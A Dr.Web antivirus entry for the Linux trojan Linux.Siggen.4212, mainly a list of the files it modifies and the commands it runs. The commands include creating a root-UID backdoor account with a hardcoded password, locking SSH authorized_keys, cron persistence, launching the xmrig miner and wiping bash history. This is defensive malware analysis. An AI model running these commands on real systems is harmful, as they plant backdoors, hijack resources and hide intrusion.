マイライブラリ
マイライブラリ

+ マイライブラリに追加

電話

お問い合わせ履歴

電話(英語)

+7 (495) 789-45-86

Profile

Linux.Siggen.4212

Added to the Dr.Web virus database: 2021-09-14

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Manages services:
  • systemctl enable myservice
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • /usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me
  • rm -rf *timeout
  • whoami
  • date +%m/%d/%Y
  • mkdir /var/tmp/.ladyg0g0/
  • id -u
  • sleep 0.5
  • cat /var/tmp/.ladyg0g0/.pr1nc35
  • chmod 777 xmrig
  • cat /etc/passwd
  • grep -q cacar
  • /usr/sbin/useradd -u0 -g0 -o -s /bin/bash cacar
  • nscd -i passwd
  • nscd -i group
  • usermod -aG sudo cacar
  • passwd cacar
  • yes Cacar12mocangeala
  • mkdir /usr/.SQL-Unix
  • mkdir /usr/.SQL-Unix/.SQL
  • uname -a
  • chattr -i /root/.ssh
  • chattr -i /root/.ssh/authorized_keys
  • chmod 600 /root/.ssh/authorized_keys
  • chattr +i /root/.ssh/authorized_keys
  • crontab -l
  • grep -q .black
  • rm -rf /root/.5p4rk3l5
  • sleep 1
  • crontab /root/.5p4rk3l5
  • rm -rf /root/.bashrc
  • rm -rf /root/.bash_history
  • chmod 777 /root/.b4nd1d0
  • /root/./.b4nd1d0
  • pgrep -x xmrig
  • /root/./xmrig
  • bash -c yum install -y rsync >/dev/null 2>&1 & disown
  • cp -avr /root /usr/bin/.locatione
  • chmod 777 /usr/bin/sshd
  • chmod 644 /lib/systemd/system/myservice.service
Performs operations with the file system:
Modifies file access rights:
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/group+
  • /etc/gshadow+
  • /etc/nshadow
  • /var/spool/cron/crontabs/tmp.lmXYkl
  • /root/.b4nd1d0
  • /usr/bin/sshd
  • /lib/systemd/system/myservice.service
Creates folders:
  • /var/tmp/.ladyg0g0
  • /usr/.SQL-Unix
  • /usr/.SQL-Unix/.SQL
Creates symlinks:
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Creates or modifies files:
  • /var/tmp/.ladyg0g0/.pr1nc35
  • /usr/bin/.locatione
  • /etc/.pwd.lock
  • /etc/passwd.732
  • /etc/group.732
  • /etc/gshadow.732
  • /etc/subuid.732
  • /etc/subgid.732
  • /etc/shadow.732
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/passwd.737
  • /etc/shadow.737
  • /etc/group.737
  • /etc/gshadow.737
  • /etc/group-
  • /etc/group+
  • /etc/gshadow-
  • /etc/gshadow+
  • /etc/nshadow
  • /usr/.SQL-Unix/.SQL/.db
  • /root/.bashrc
  • /root/.bash_profile
  • /root/.5p4rk3l5
  • /var/spool/cron/crontabs/tmp.lmXYkl
  • /root/.b4nd1d0
  • /usr/bin/sshd
  • /lib/systemd/system/myservice.service
Deletes files:
  • /root/*timeout
  • /etc/passwd.732
  • /etc/group.732
  • /etc/gshadow.732
  • /etc/subuid.732
  • /etc/subgid.732
  • /etc/shadow.732
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/passwd.737
  • /etc/shadow.737
  • /etc/group.737
  • /etc/gshadow.737
  • /root/.5p4rk3l5
  • /root/.bashrc
  • /root/.bash_history
Other:
Collects CPU information
Collects RAM information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number